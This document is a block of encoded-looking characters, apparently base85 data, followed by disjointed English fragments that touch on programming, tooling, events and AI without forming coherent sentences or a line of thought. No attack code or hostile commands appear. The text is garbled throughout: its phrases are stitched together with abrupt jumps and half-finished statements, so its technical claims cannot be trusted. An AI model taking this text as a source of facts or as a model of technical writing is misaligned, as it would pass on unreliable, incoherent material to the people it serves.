z`Uw-stC07BCd6-_qFpP0ImP*ketmid^f1MES4!Bxi8S65ix>rd{}ox-$Pc{`;vH$m zLBF<+qauR!3gJ@!eq+7sIrl@|W6-lSOZAoRh<@3hK%ZkskK_DZya#$cu#40O@Ka|x z`m6mhL@GQekAET}d=26hmJBNX`~*313Ps+hi$uTd1z!8{X9m5YasH(DK;nD^4e!_Z zJolAi)aO=1`o#`QNj{457f1uTlO7|k=Y4N*pZ9qR>{I9E=i6Y1)=b3Ps>Hb~|4*=A z?zf01x}JZNb$GmSfB!nqO$Cm7^}oJUaNK1ab3xbp>_62G+Ov$-X}tb&jQb;*?tzZh zTcM*@-VwAgA3CbvvSp5T%Yl&xtN@bba+hY1nO`E#guG_O}z)^JBjU zzh0*bS9QLWe=9T-Oa4DtKYwl1Cnw6IT@eocX!3^?g8w@8z4X@IAdlMw8vd002YK$u zZtCT~Ton3r!o79rsrl4T0_MfYCUQQ`^PkQIOCihSj_PZl9&+ZMivDH?S@fbk2WZba zZsg#5)Z50vPTnE^ShWuoCX$SE+Bu|K1;@*0{Jz-TCTMs0P_&zcINRj^D*mPLqmHEK z-LnE=$DQ&WqD6(qOp%N z?hy2BO++0si4%+fyL-dG|N3{dC#{JybFF<0{Ppz5g}n2ig##H_uDt zAMVxL&u`P72g9CsuwUEdAA|bzzXU=%(r;D-exR_|u8!>jf8aXm|4+zYjQ(rqMI5t9 zuRIPo@tY90b)0-r7W(nuK)%*-a(NW^qm4NKY9i>aF^?$0bCqqwFfPbeLJZ@5kO7OJ z2Yo*3i`(#vSmXDPzLWweyDDiZ$vaT~w|(@N_NdS@ke*THW%+KK@vd)P()|X#DCx-t zeebu>r_~6OXQJQr2n6G;d_Tn47q0t+{AUoy7~aH!f`}VpH~OpNSlplJ@7IZ-YyW+N z?}Yf;V0>fPuM#6TzAM8NMcez z2;T~MiWbFqp%+5b;rejC#oqCns^vW3oiFU9o!9>YIQXv+&7&ZX$OCz_owrU)`h*B2 zpFHlRzJdABuk^+~d*9ojM;hnECY+-kR`vSD%{I_~qVXQWwf@v+Yv@zgz354i> zhIjQ%>y36h8}Cc}$and~B=lF$N483b3hLSV0PX%y<2MWHxsXWVdN1Kco(j-^pf~(F zhWy>{l5U)TE0YoOG&a`XI+sEm2&6?G1ey>vDiJ5u8^;F60B4^uAN)Q5J8>oV7%Vj1XXJooFh{=ZrZ{J-Kcj=J7^JQsR%PI~36 z`V91Ujdu|XaUUu$(W{@+QNea|iLkW5*L6rcp8IllLIbhXPhlJVav#Bi7BfC)>;k%2 zoL_M+Cjal9LAMuq>E~o&tl}Z>q3Cs|aH(EppG$$CM4Wp!G0*aaKz=EP`j(x-eA7P% z@kfu#9PU#)yWn@NSwCdweFxtUh=`G-@+I{D|EKUVCBagQL*$3uen zg+y;-zh+z?*iRN?zijhG(5<6hIluV}`b;w3dujXx^nJ$q+ebxUw}&Gj540h~O1?)C zXS_!-Hxd1HRwI)ZVBFinbr}0RdX$lNm1_$0wl)Ls!`RJ`O9)2t$^{)b3Yllg7GS_5A#GFABu3lx%C*=v{dj4XgUd`eJ^$;$m80#nF55eBTjPqtsl8K)Rd}v#U)g3Ut zUlxX(7)>GCo&?=_=(UH!d{;2=C*~31lrvS$<3fdhI{Yz_{VM(*`Wr|>f93Ns>YK0= zdh?$~i#ji-_CveT#(ehLZSY&m5Me43KaBHe`yJG!$)pdlz%PvTldz7^k9`W`8%zH9 z+pwPm;~dC!y^b`^YY(4q2TrW<`$Re3g8ZWm|NWNllKG6fs6XGibuMCDbUwh=4bbEZhqmw+L`n6F;1Fm$-zw>l@n7vTGc#`QX>{_XIT$Dku_- z`TooL;J0h%Q^;M2KZf=*(0K3kH0RwG=iS=xrtQFZojV3S=ylypOMvey0Q>C4JhkE= z=z-dhQ`gl$RHA>?K?WH}d3KXu*k1lBJfF7D*q1*;e#_v$#Pgyb8vFIb%0YhrH(ve! zMI76}Sv`UM%2z;1*pYJnGaY{FZbSqFn!Fx+2>gzLQ;c+e&hfPKCO_DMFlq+$TM2%tKqq4hG|! zvl9G>u0jmveeJ+1=q-vk=Q*GC??At_{bZbpcH0{7Lc|^q;)jdzMt-bOKN!cPPdlv@ zaza0Jz{h(Z{v}>{Dwl))|9XgaLn%+oGicYY;~n2KyhmUg_Xv7-rTuJ$hHnyQ&;`gD zZQPr?dJ^%r{YA8k>OzPOtV^xi@Y5vPNjuIjdW-_Ut|#An4mmC3+_;q<_F(734u#x~ zQD3vwXxADI%TJ)34;;wvZiM`eNZ(x&{Pr7OJuFk}D!GJ}2l6x~e;d{z&L7Bk$YS!| z^i;_Cyd3losU)4}5axXk9O;?ro0$!9z}gw1{``{k?_A(yIS2kXNWaK=!2{#Hriz^R z9i8jNU&4DXxs3a>zx@w-bAN^WI*(kejdoLw^{zJygFa<1@N-ihCmM98CG_mm@)rX= z()fMAllOym5+-gK_c$`|1b^kPfS-*xQ>o8Or@eXz=e)o&<^{QUZ^ho=t&8Hge&YKZ z_58QQzjKs&xKUD3^nT5Pd5q6ZP@#38eOCPda!#BEd9o9y&MVOCuK-=wA^+Y(e-n)U zHmd@DpYhK2dag70XTUxu$+|rFEmr65*Lq_e=z#;k(RO=iOK@C5g>@Ts zX*6;2Gw*CH1^-3X5TdT^xXL@NK|$7#=Qd^d4buIEFkW*hXRj@YC)r=3UHq*)&u|`e z-!5;1l4ir#u~VApSc>ecOe< zFB5OX)t6kaUT&Q4?a&MQTsI&6(&Lz)_4B<6pzFBp`x^3yGtgKO%9A9+eo$|sSg4}t z`g~g#`r|ZkBB}^+vOMKCemCulS>O+pf_+{ke%CLcx0kmd4_cAuM!uwe_`8R_$v>er z@FR`=oh;9RbJ);BrJUf;{+YMGb3z$6ZX=#|BYyd<(A#li-*(-e;5f>2U&cAWFNy)* z9Sb|u`yFN4Kpwjt?A9fIQ`X6DE!d~7i@u%?{n&SkDbDTWA9E9Q-xADUw4D36@4R^c z`jwgd8_RQC(xL9!NP71xv`^#R(TqHAznA+I+JEag(1T^X8?c3O+cEA7+~qo+Ypmlv zeHZNpc0fP6?i!Je{i=b?`zhsY_XXqR^zw?*p8me<9pH#f(C1U~cWwwd9~pIE!%OUM zHnbQ`{!5SHk4eV5Vm0bbq=DX=lm8g&;Z}nnzjO!n1>S=EPDkV^ZMRby-%^eB^Ecmv zomBh*V`2i!7*A zoNR*;*YeMPn|cdC&wAhO_fLW2H}-vA@cvH6d+3+ODfJXMzVnEm7W?InLc7+XFh#jf zdLH#VK0zAS**NaM3_`o#8ttB4P5*s@ys!7W=U)WAe=_`QDe+tL{h~nWqKeXw^kH&= zC|I{g8^2pOXaxPJF8FnwlURlH-(V-`g?xXw0{ZI=L?lcg{$$?wNu1q6QS?0G)mY$I zZGoSc{S6Lxa9n&oXtF_C04*9v{Tt^uTJqe*{&~>9wyU*q)N>C=n4a=9c))h|AfCKp zy9KucfB87z=)6#V5&4%RZp*Z#KKI9<-ejFK$?MnGxjtY|gFWjyp+yhKBQE4u|NbB1 z6yo`0YZcb(22-BXtbYa@=ZJ=IUKaZRazab;{srSp0zU)s?>?rToQ9p~ zxV`Yh;5Zf(wsB4=(@5yYuIBaABdciVrQt8j*stR*^yWK@8Alb4V;#O5W4-d~t@JqR z=Q+l!2ytHgOF8dCPCYK6t4QxG=a%yOn)q)sZmcop5u4)aFKx>y{=L-0R?cTP8s|TI z(te!okY}j+S3;bY3nr=_JL4VS-q%16bb|f+$lvxg^js*0lHaQ}(mZ*1JxPSX@} z2JAA5U)xVC<4@LR&>OO(5VLuH+b!rFmvJjFE-62I>$h?|pWx%Wi@IOspFy4E3> zx?Dk?e_I=ccHyl;+^h&WMSs}U0`~VGHQz5J+>|zo0`1AD#`-qaIKRD+=lPEt^~qA^ zBa3-_Ch?Dyg`Ca@UOlh6On=M|dOZ1ya-Sm7*r&+2AN*pSH=o+-yi+0Zl>170-gJTM zX>rDS+QHAE=bw%GZ5_{jeQL}jqL?qDjeYi^qo7aw0_?LF04EtLb zi0sh#H z{NMjfd5m*h(`i4wjr0E_zXwj>Shzx%Oq|gv!14d!m4B24KiYf){f#7lHl9maW8~kx zona@*#_#h!=KQyzanE8=RB#;S@9P=+iJAHZ>0u(p_}!(eyyq?!A}@5JJm+u19-bQS zFxRigahzu<&Zgv#(fMVC7iV+}#;bV5fh^HipdbJDb z^?#x~y^*H|WWZmfoea8_5s~&e7Y=T=hn=Jv>(6=qpkGW0RRC8xE-5cTcOF9j?bvQs zuCw*+fc~Z@{a3ET#2M=_Z*o5?&d`ro$T&O>bzoiMWRL~Cnz!;DIkY0g{1VWoeF)l5LVBz;*Pxt% z|Ai`woEE9C(jJa`7Ragd=GtV?t<&E4kjKGzIkSqWf4>1R;#wuhnb}ys$|BcaRlEE> z3$!l8_A8*G$GcJ z-yY}XKg@G?gY#hA@wY;}7{fSOue?Imc9m6zmmt1<9r)V6W)k1;1HvTA^PKB`>5P5+ zbI;H(x35>9?>^vo?eNCcud_p*z#fe6VB+WE`G-I@X)yAuO!}{Mjp}iLs9yL&+i?_^*m4F>xnqI zg7R!u^MWv8rSZ;B!#EFejCU29b3Z*W&FiO?!Xb~H4*BaD@jG%K#5v{VZZ{+ z%JM>@vfGbA(SADkZQ$5%L!UO=&Bb?_CVh+X?Ld0k?m@c>7xRtv=ew*A-yZ{cvXZ|J z=XZNd#f6CZ!WHj&Nkw9X6|3OJG}OgiNE9Hob`@Nk=f|) zO#?^p{`BeBC{ysH5@T(DLHTQ{L8s`V%nD2bdcd$D7uIzTy zv6fK}+pU6jC4UbkowvVj_S(lcdgm%SuXtxpDt*p+4 z%5!4IeDF=q`>Y<&KhWg$M%Lk98S}LQ#CI0}U;FP9-am~s?w@w${Z{*L*xNG7bCKu# zt(&0xN$+-;`D<}WMX5%+DiRkQ_ktqCZKdd8>nGvL)%nSRpX`dvE)`gKr_8I$D zHxz%k*lhfcd?w~WyPG$@{iFEhy^l+17uiGzD-L$D%80|~)OnRq`OqfnLtPiG-3)(U zZk$`l9{T^w-$#~D${&xSj>^Q26;}M=BBVX)0X;6~m%u*#YhY1V)8ZdQD*iCxGvr@) z0P+t%=#4*hUn9??GvN1Cfd+KFl;bY?wa`YM!Yn|Dgs;JW>pt+MM%35fAjdZr_9mwr z>TAt@?K8$@{>Q*czuzloFZRnd`t^eATB4aZF4WkSESo`3rS z^4I~4uLbeNLB2y}S4O;*(|`5l$qW8);~wk5>d=G8WGTKr9IsgZUZn4q*A9>C_lI-B zf8zl!7Wapp_*+6kU3cyA(H@#0Ut}i#OL@RAn2+46sNZb*d;f+(dO?wDoIfmh2=ecb zgC2CE|; zk!Q92FP9SpmEVo?FeBsx0xBOhFRBpaFsZNg643n{FrS@8dNT9cj4{x&Zgmb$?1vuGUp5S zOU6T^-Q3@!ziC^*PU?{Vz#`~#z$DmtHqu|M0R1Q9{^0Fvz=<^U7OvWrHuVYOc5C7+ zor&=k-C%D&lm1BU56b#;6~+-!SMGxpgkM-W;1?~~-*W7iYxHY=CGflP;QxyJ-PX{* zo+Dq}W4qmHw}N)7?d=86^9Pm!XAAk8_CRmd*jr3u7O1JMS_1cfk^VC;vyOkbh%W$d4>3#Q0&rnPZ%X?8x^Jl8xVO ztlAvG@Kk9xJRGjt6znbr^_?y8VbiDfV6yy}O;VCxx*W7@d z)(@o=Wfke4v%k?se@Bdfy@?I*mp`-PA9St;{0Bz8v~DHnPYPgs5#@wPq8@BR5A(T? z?16H&A4Q52b_Dxe%9eRkTcK$`qy>ifc1<^7Z8Va9aVlP#@GEUObM8e zcH4pX<$rqt`-fEvF>xf?^;hurcN@pi>5DvGgZep4{re34&*M6?^{ZFTz-#)Ov={B> zF@D#$GV72pjC$j{Q1n+s!_Eg$o|@l)ZpR}6oFjc|GVnh%&dr{<1$|aE-XHj&J>%gO zL@HQ?eD7Btd{TA(d9*8^ZCBstp8|hXFN{09Mu^5-KeU^A{pINo;2&e0w|TUyIi^Z3J(UORMNqTRCGuhH}C81DN!7Z7LG5I^Q1 z_<#089y!BNUu~{?q%q!a%*T1_GGjftH_wlWzmQ265U2AV;I|y%?eEt<(0yCH_OqJr z)P))QBSkJ@{nN<}zt;8eL!K+h%KP{k*>1}a;6J;Fb}@UB*GB$+W2|e<{}=SAPta~=^5@}sOQ)!}o*cIZ_L*wj%ln{K zkX}f%;`$HWTGZsYue$E-SK4*ZkFa6MF56wi`GUKuh@vnIi$IqQn8%exWr(OE#N6`K zPr*>dpOJOuFrGJdc;2`t@mDWIfBk15&l{xYJOv!zr_ft1(wmk-f35YfTSOsw99kB% zstzd!JC9(y^(TYw9+iU0FBcVY_CT<|@^_pUBR?Yg3DKW^?W13_%n{>L(C$CRyGd>n zj-#=TnzA1HwC{QCVeA0l_`<#Z{*duAb2R){>$%xh#1p46>ZM4^pFV#OCrr3TTrDpb zxYT($W4+?z7LYT-IIoyb;rzFr8OHT9dRaue`U#eaQ_2F)n&N zsc!X*i)SI~Kt&5sco~WkKzm5Zsrn24NkuS7gcP5T);H)c-da?)Ce{!+iIK}^8 zJvZb2ouB)6dfqWhmPtW-cKN$tIf+wuJjOBA7{~IA10sVrFOO%x;*9!g2Icn|@}F-` zzuS;cwJ49Hs4w4k%Cil1pw90@(?LHje^*qN+3GvH7X1EM;MZ|%*iVo@WgYxo>!-*& z^j{z5HD3WnRQUz|vevlwdb=d(u5s_|y}rP)Mj^wtBF=)07?;RhXjj+ych*3jUyb`X z*Yx@JmGIw0;_Tgqc7^e7(g%z`ZUxv|JoVP8GvcHui8vWYoa%fRDA2TsqUdqY!u1FD zZ{)$h$p3jP^y~{k{vAd7;#bhK&EKy?^p?Nd!ga7;488ri1^pdZ9)5}{MTlQWuV#Uc zQ4^vK&s{q_cioijE((J_mt;pAt4(?=*F6Hpy2mu0cM>BoFFsHHlsb^7)IN+$Zqk3v zk8u<)A{1pX=@(W~|AoEr^I$IEG%((0IQ;^2pK-s&;X4xUW5fX;@s}S1|C{eX50F-f zhRL-5ky7M4hQAU$qneQF>Z+PpI%Un;p^bz{2<4mQ|%u`QbKlwS~99;_X z6zu_iU5~Yu6U<se*J=ettbBh#vj*+KjQ-&Ut?b1bT|6ze}p`!^U+z# z8DZp+4ZJU(*?7PG3g58_G0q{}qdel8H!qZw8-J>zu4DceDLw!R!;IS$q#(-H6mdY>CdEKN}k8i|F5L~69xNpQ!Pa~Nc!j{ zz=<&8q;Dtag^YRV>c@~L+&G8Ri03O780&QxUx9zH@jH)ioCN()Cycw!3&}3%{!Fm* zXv*2HJLIv9cM?wR4vu@6h%@dt-T4#rRO4L4J;nduy7c8Dw7Yke*A6={4!A}fxW#!~ zU*UMZg81RWZ~U%n z6?q|7#mU}9lm>KsXjPVeaR3$UX3F26`|S2c*z;iO?IhnhsahNQu}E+D4E?gVd;O(> z%{=lnRB>VyD~JzO>0gnJptsF6 zyz=xSzFUDaJ0{4y9G666TuSgg7Uw&!9TqM}y*-3}bp0@t{q-6B-N@gKwf^wpG#djw z*hj-ue;QE!ROZJ_#`^iiEo`?Q>^VF2@HzXnteJQHComs+_{+#6GbyKQ$a&WSe+}c^ z@2YK}XJ;VnFox|`>dkS?1o`E*p!$|j9;YAV(fRb(rLa$HGv=qw*x#o7-ORzU40`upe5zo48s3j}fgn>Vk~{@Z7Se`$Xl#dSz0vo}s!3P=7@D9=y^DC>g#s<9CbN zl0U)7oAY{59%CJBHSfc^r@eJxU)lX&oD3u(UQw$emhy`mUc0Jy6Zn2(KHK>?=-rHb zF}y73zKY)XcC04ab&sIk0o20?)$V`CaSP}BeGR*vOg$tSdMLs;S<_g5-oA+Am;?HM zi}tgC{k4t$u2uI*bBP;iVYj;8h?NEq)SEpF@qsWR`8D!iWju7xgFl)5%`pIRPgq#L zYEJrL?t|1a);F5@(5~|UI1|Z#ML^Gc=6d~WM`h;CNywW^DdYBpImVL!<4JDHQ)npg?OEPB z**60?b&PZGPs^fid1=Vm;2dx)Bi;_-{I{`TCkgt#jPY*3CleU=x}iSQ>$>0SduQ2D zKj`-grf?tj{#uNSp0_Tk0318kThHvQkA4Z`_bf{AU7cm0cG;ol(77~}n-alD5WFn&Mi2KNUC8S9OYc;7$H zkpIpF#(@OHRlSb4cs}XN!c~t_S*PXYyf4{k_xK#h`Ga8(Gr11qpJ*wZPSnrkG~oAd zg+6s&%f)?!eMbDuBokIpZ@ynpfmb5V&~CtSN>^1BU1#oMTuL_P3-u#mhvE<9oh0HM zXZ-OQ@uwp1y*l0DLGqY^`mVhu&dlOD>Wf#=FFjv4n@l@Ng?(!IpHj|cM*Peg9+Xq& zFGHSBKLC#ZvZdsZ#|G3_Nb$>a@&?Yf@2R&F7{@QcF0#r6hoC;)%oulF7u^kq-G+VY zwex@F!Q&vme~P6L^f*?aoZ_Z8Po3uP4!1}Ij>fksXSA`O)si^2f%D!YjMriVrw4IT zjPY&lFy6j_y67spEpF9Ef2~^il>Fh;TO`-V;>SVGtkh5S@@Ust0y{}0eK^-=tP_@^ zWFt@-sLU=J{H|X|Vb_z%+G1wF8)ltS)8{0~<_{=j9( z{|)2Ash@-Tm-mU;VHZNTr3 zDxx^$a+CUcJSI*E@{zpGqrMIDAs6Mp?SQ`rWHD$oZ&N}f2%11c}L<*DS`35nF4-2j*EECp=}S?m0oXL&v~wI^!o}q zmH5a12b`}Cc=dTw{zEnH=|dIgdu&&*ZghI0ZoEpIYSR6K{7zZ$%V$W{*OTk*v)+b0 zTF;f4FWgnIt3kvm{3hgi_Y26Ajr4z6hXe+r4mpwme=*z!{{v(HqWHV86YC$u4Q>C+ zHzF^%{9QjC=i3bdPO9;4fX#Z(m(lA-^V*@m{?_@GAPi&T>zTmmIRoG=gLt&ts+E`j-4USs-UHnx zPP4B-cb7pMtM_%iB6LekIo#Z-+e*?xBy%S>pb?86VI7fZy zf6$w#iFm8eO%3C|XZ5y_vjN+!_dDdQ@(}HYl75rFFIHnD=sG`U9R>ay+p8;1Er0(T z$VVbQ?0*??PQTCivjX~*&(5gtPwLZ3hCET^Ke(BBq%7>PC+TGvA6z3obmsn1C!>DL zd=z@{b%y{eM@{#|?iX8WO z-hTO6=X_Af>!<%m+n2ycb`*CHSGXKl4jW?|A|QZPfOd84WfRb`E3Ld*N!GDzuQ999 z%xE;$Xl8bf)yiA~6Jw5m&0#R)!?J;3W55IwFa)r;@B1>~fH1d#V2(hzzkhXApYOdH z*&+G`XQ!&Vy1Tl%y1Kf$-**nPd{Q4^OQP+}nAow~1OIbY{Zu)`Q!L* zx#u$bGhcu1n-TeZ;vuT#w@CY|QtzzXOFAO(#gn;TKM2nI{vzYG(Z%DnBJ@8x!g~Hc z!TtK@3jZxfcwIPE=%?P!{8w+{_G`Owh4i;C=Gmk z>un3pYcfM3pZz?tr%5}rOEmBB>s8$T4bkU^i~Z@liD&47(Er;-qCbP|@9FVn!E*k33z|MkV25HuX;x6#?Q_uh_*}LlKtjqf_&`%(tJwHXH@uH z_-odO8-w?GZj-$FwR2dKYzop@5%G`Wa0DVk20Ty=dj%FBk(7QzcOZW>#pANEhvmE~^k-ee?U|K#sF1#^{!Y4z`9J0ew@0=S zsRulj^?dDxYzOpyzw|%MzZ|?H^u_C$&#ggz{-k>M9^a`CzUTYhLE>{->f+$M-~~`r z@@G~D*a94u_FpRYaP=mZ=c8qQ{ptBkpL+E}6{Wt%ch&&wbK4hqJ<{{&xzFbIuYc2@ zk7r!Lde!#;)~iEO@5?04)|PEokWUEwf~%!oc^~g10^f31mcyxwEKjX(uX&I3OYS2} z^HZ0KKCg>DYd>vV;*GQECn(N(e>8R)^Z#y;SNxRS+~2+rbG^F1e?h=O$#aeM^F|rq zd+cLAKal;Y9`{H6E6b(Z~QB=7Y0r~7*Q2W%XOf9emc`L_xEflo01O9DNA zCiITzH?C(-M(-mYgXyN)`QL0;e=ZH0`>D{siP!6Y68;Z*74!c~@Lih=kzhpo-mKcm1NLvwZqS{P{JtA^eAY{=Yq&<=hs;_bz)CkJtKhPg5<--IW{qJ(-Uizv6jR zk@mmohs=MLK5T?PJx{aGX85H+{QnhiG(KlEPQ&U1tOiXXrrQ~N7{UH$%dnSa}LJik~+-3>{|gcy>wCU0|J@JZ@f`{LvER#ieOvHO-P0sbrfmCFSt);kMYtLZ4eVWvJ zyqEQ@?fI;q_^JM`dnfnnPp{x{IZ5d6`*6|Ed+>^U<-Hm4{P#=0KE(FnNkU({md8Ce z&Jvgs_^{}ICD8x8#KXV;6R!7Up&!-fRu{J^h>nB3U@!4Ue!?94rQEwz>ODnn|DV6k zd>$lxF20WC(Dp%&59>JX@Kc%3KL&o+FHdJapS{`Vv#-GL@>6(xb-g{}pU+<5kNZcj zmUVWO>(%;j0}L|R?b)~Ux_`U0^B-T!{5Rgt_1<6LzmR=aYT^_H!RIH`-=F2a%&)Iw zdL2L6{xarMDKY$B!smD5&unCUeS4DZTi>yh+s|47d+;M}XX26SHI%7XY9VL|Er&6eb)ZlDI$lyVV1*sQ|+8GZzEr@z;3XZrP>C#&Cj-RV3?`hf4?d~HU-bzV)6*tgl+ z{qcRYoKt@*@EaRquL?oj;|bE=wxGXPevRdDW5pk@M=kNZTR+2J7y6#h^rxR-dYO)? zzx;~(we}SrFD`|9msqfrKY5tpW$s<-2e+`j>U%k_cb5r#?I@3L-~HJhYCraF_ZRqA zSo4>K{>tObf8!FiY>T3wyI#h2;8Eg-==FMamHEudJ4>?tN_|_-vr>;>edrVZHGR(h zEnog0dydq*h3%?t|A*er@L9QE_E_QbaJk325#)uw`Io$2><;YGTZR9c@b4Brly0r$ zc{%IP^#Xsb+$TDIF^`L0*N%^q98OKG{+8nyYeGLO_Uc67j}>K}&VJMH?|mN0p?zePW;dH8@N5QLVwe>T<_Wk|6W1#I`W4L8NT`uo++CDhvXdOKybcu z$?sX7|Ndnj-vd=0aam<>>a_>B-V?#QE^mH-$bXpkzyB%pheZFk1p2>qf!n$9 zcc&`K9-;r3dKVPBAAHwoQsU&726pUu|IF=qZSbDJ#a&`g>b#D;T==iQS?WE+c6(0X zr^>$jpM!JBPkn*=wegL|C`$dV^`j;J{DHs@&r2MmPx6HxBK+^27y1105eo7JfuD(q zuhy3X=rjIK75V?+1nc?YXL!Dd*-L#z{Fc=7+7!Lkx6#M39G+X_dCguyDs^~;`78x| z9(NeZZQV=t8u#wyzRcBEF@HV3c1eEhm4V-N$y2%g z>zDC}==jy`k`H`CaBq6@eWEAtV?F7WdY`%`^KqFatn2-~yu*BB5FgHTi2kgzUD_rC z`NW4Zyl;u;%RL3&{}lF5Hokh6s!{tVUlad-ZO*rc`z5Y;Td+U+q`aSyx`Fjg``drI z5A)yh4d&0YFO_q=?oB-^)hq@DH8vwYT$@VbAM&~G_|$M;@` zSPyyDq*C9$TJ-0uY?p2p`g>o;db0hkJdXDl_%)X^{DL5lCA-Z0w`Z7thtTIFPk#1E zzP<0;=0E!%KK+hYaXVKBS^l38{(Jt0>Hp^}mP4Ds zFWAcPR|V(GFMl=jNoAOi_DjDz&h%}6W_>tU_>7BR+7{#?pCsqDcMsw}|0418wQK$M zKjDue=K{<5$-@7V-$=hY7`{#H-p()Zxc3Hel~Z29?fm>FSpGVmdE_9&S3m5}m-}7G za!x&;^=(D!edq_d-nJjJ1$(0Cb588ljc5Au9DOCXr|nPNuL?Ro`+s?W;rg8A7yrcYZv^py?>(5|FAw%pnYW0X zKhNW<_gVK;>&VHew$C$vwjQa}i^YGqc!lMu{roMMKFTk;g7tI1wEtQ996Y!$@KTBU zt-a45_vedz`aZ$(nGrre|0&DiPr>@~&JOO^lkdrV^gO!h{S1G45P$nS@yFIixkq|j zM!zomjw0KEOQqg*@yFIrd8C4Ht5T`j?cCq>n|S^n7W#LUxSg|q^vC_ZA7FT2$?xyS zC0^I|M_(#x4|4llM@k(Dlo!2m*wXgAvKv-V=UG;t*$Mw7MygnfnOn;W? zSLM5|FsJJ80}tkP?cCtINbS$&c`y zP72OJ-hVaonRyV8BiEivz4t7Z&+6UVRE-yj9zI&~)vtIM)3daZUpmk2Z2J?-VMy9} z+Xeh?$(BcNR}e0hN`33YV&DGEb{oT|{(1&vT&`$Szu&>&)aBc`og1U9=c@u=6+LeY z_IIz5{pRfTT%)#=e-Qqu*R&}P=L?_lcIN+v-?BVU5%{-c+&>=dHwQ5hXdKu6gFRub zC+RHnS?y(g>k~e=-=Fn)EqE{eesAXfu6>5>yyi34NBVYpYBhL&>AxRM@Y7Oj@;;vC z|JEO{ezpbqOS@M^e}2aLqvQPFlymc)fj(3vZuzH|vK&s5_W$gC%zt8?=kFGQ|K`h5 z?+r|^{k=bbmE|z|YhV6X{e=75_Exr#R|uayI!!o{w#_k5`nhW^`~8;98AeYfuK z9K%!ZXS;Dw;JZ)a{`Nh=ANS|Ux#!hETcRBG15o z`-i(S{8!spZoDf=rG5@YBDrlmIYZ?CBi^TcTKM1cHsxR7uH_fhm!Y^)_R!3x20b<{f_H>OyFOgB5{V*AkOf%6_&$lAM4d~ zL=Mk=4fEOfGPhIPjea>doPD9MSC5!x{YhQLI~V;vz%6Cwzy9~ke^mG{Nj&O%!MuB( z9zy}lKcH)Za_R4}bp|T(4d)Uh-n5 zpRKZotk-6}{=M%?mb3P|o-)exsoUBV-y4{H>hO=5 z|FyyVy-@ZA_Y3lf?ji3?wq4Km_Egzej($S?sNh`kcM?ZUZOo_|?1@LMBn57d3k0azBll?ZI`Z)Urv9Fq>I=@_->>K0bv*Ct(%+w4%l%qk=k^ba{P!NF zdhuNkxfieX{DF@becp1iqSWV`-~Sc&_p%^w?J;l|sGaMzhba2n#K27p|5F40S%J3& z@XyV%o~*u_*O8Y?JKuE=(N7r{ZWYceAHeN-*XLNC4;1=qC9mm^VppFa@Vct^)YQhm zo}(ab0-s!#_Wu)GfE#6=eqZhz&R);__4(lIKgIUsoIf+1d!0(H{#5u}&vt;dE0y}b z_*bj1<{F)3A+kd3Nc7R7GmAZI@`LrE9MNz&-=wJB_*7MX?&s2~$Y3FCpWj^=X z&3yDe=zc$EJ-IA6$M1a}xBof!V0vx$mbS3`H};+$iub zNL*q=;u7}|`J5%^U$epa*Sr6n<@Uqiy!9tz(#}IXkFFH{f4hzS)u*4%a^u=lsoNwk zV!iJ7_om~_{};i%iFdw(<@1gpZ|9{im42PXoF}CHU26NjA901`n?3o9{=B>N zeD2rkSu6)VF4u@(lzI-&i<=S#3i5nu&&!^}&O62)A zuJ``JXQ7+n8^QMtUn28*?Xpu9rPizaEC20`)S{uxQ&U^s!ghnX z;kyhk7rp%*uh%b;_D@T^cm4jnPN6&MulHi+zfZn1$fJ--eeXKv)Alij=>6T;-JG-y-m-TScE=%>C*T_u==!mzL)@KF{=D4DPMpM^KF5hd938;7rxEy z(c^gKR_@oKB9E6|Hy`*>hM#{C)9ZcW2Y)2>O8%Jc@1JB{SljT&ee8ui?&k*a=g;8+ z5w*YX?|H@fsI>o0Vt*!r{nvBu#qHVl8*a}jLcjm@+@96Dv)y}xz%#O6So^8po>)J1b{>rZ~{pG75J&IlW~6? z+dXYJUMKgYP730~AGuBRP2MqM>xcJsZ(=^PpJ&b2@qyDNPIX-n_qgtftcPnK^7Y}@ zL)`vH2JQdkEll4RsDO5G~)kks>bDa!pqpOyH= z+Vw1-S%F{l4&ncwET2w+|MR8Xo<|0D_~YN=_NQLp%lVbpF#Y#txxehyq*Ax+VE(C( zvA*>S|A!*HL-TR%H*8PzKJH%+GyjkOi{Jk5O5AC-z~ip%?E|opBtEkj^GHnz|69_` zXXCNlPCZ_4lKi68pRqrAtw2GeKDU4U=`f7=`;_px z-*FkoOL)DwS>Pj=iTY2PAeNo_F`y=yT{|@(S zLEyiae1_Re+Z5yif&Yh`PhD}4$AxQ8rN+O+{QKsZzm{94#I>#u&J76Z2V2jbtd6-}l7cAw1mU-G&$C-hJIE$=U8gZF;d z)VmEQr}}>HkK@H!J`eEQ^Y}s0^VhT~&gTmMZU4yfJS~{NCop`ZSF5i(Sy5{H^8h(N zdQI@%z}x*Y_9vlHuHoRH}c8`RobeGoRci`mm2%@<(aU z!?!Y@w#!+bT5gXlF`r-mKjyFPdG1Nv-_`f>I3k>-{;s=*`KN9@P5sv6d)up7{%hy^ z^F6m!_#9$By55t%$@TVq%%^|bZ>0UVus&=5q+8-+ZP)So_ylRsU1i+21aaw!zcByL z{fhY?6gg~psElKZ+cPTg&mCgDYMXq7f(#1$(z`PK?8WU0qV?y4RUY5%a-Z>3q5o(H z({G&X_jk)9S^l5+u|K}!lINd#6t}Za_gQPv*k$mz?gS@64!vFT5 zoudLzP5JGA=LcEe)_=ej>?6Yeu3zPPuX+*JdtZTPgwMG_`+E`Sqx0xg@b272LO&bO zUoP;40KWGTtcR-?avWnt>b?K<%zq_3kG>njKNi^eo3=5$?f?1m{QaYNp3dID`oPv8 zm1?_M=Jgl-dEF&>4jb?A>EHcZZfELDo)>x^(dS*r-liT7S>W$scjXSe?TuXT&fvQ( zXaAh(SKq_){Y6Zk`k2JG+iJYhY5(@)5Qy?O-o!KRZs*#o z+7zW;Pq#^Yc=nV%3VuTPoGy85Yq$FS{kGKGcfDWlfBsqQMuX+>XzB0M#P4nUj&C*~L$)bIPLou{SV8~9g0k@Ke6 zD|jEI?a5cA-YtRse?7>QfB0kexU`=9Oz2Mp{d(IV%kzw2-`DqL(Vr*r{B4tV_Wwl2 zH`sSP=1DA{)jCr?Q{;2^I`?Zekk8$&Wd6^1IqSno!vA!kuLSFO<4#h=X;jdQVNY{SVudw@G_OrN0Y7f0ssB&M7&kknW~FwUy=2 z_g-G_t`$CCDlok5!H-msae+VoD(2JoVP2;)0)M;2(<;F|^ruMv%;z7qT~U5b=x>s9 zkd5R1{JKW@|9H3OYS#SAg#LY>V|l(gh-=OK2aWH^snuWee9?CD%G;TKEx5P%8aU)? 